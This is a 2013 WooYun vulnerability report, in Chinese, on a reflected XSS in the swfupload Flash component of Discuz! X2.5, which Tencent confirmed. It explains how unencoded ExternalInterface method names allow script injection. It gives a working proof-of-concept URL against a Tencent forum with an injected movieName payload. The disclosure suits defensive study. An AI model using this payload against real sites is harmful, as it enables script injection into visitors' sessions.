当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017103

漏洞标题:Flash应用安全系列[2]--Discuz! X2.5反射型跨站

相关厂商:腾讯

漏洞作者: p.z

提交时间:2013-01-08 20:02

修复时间:2013-02-22 20:02

公开时间:2013-02-22 20:02

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-08: 细节已通知厂商并且等待厂商处理中
2013-01-09: 厂商已经确认,细节仅向厂商公开
2013-01-19: 细节向核心白帽子及相关领域专家公开
2013-01-29: 细节向普通白帽子公开
2013-02-08: 细节向实习白帽子公开
2013-02-22: 细节向公众公开

简要描述:

Discuz! X2.5某处Flash应用存在漏洞,可能导致跨站脚本攻击。

详细说明:

上回我们说

flash.external.ExternalInterface.call($methodName, $parameter)


在浏览器中执行的是

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}


对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//


结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }


这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
漏洞文件:upload\static\image\common\swfupload.swf
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf

漏洞证明:

http://bbs.open.qq.com/static/image/common/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

poc.png


好多discuz x2.5的论坛,好想一个一个提交。

修复方案:

咦 你们官网的已经补丁了?补丁包里没有嘛。。。。

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-09 10:41

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无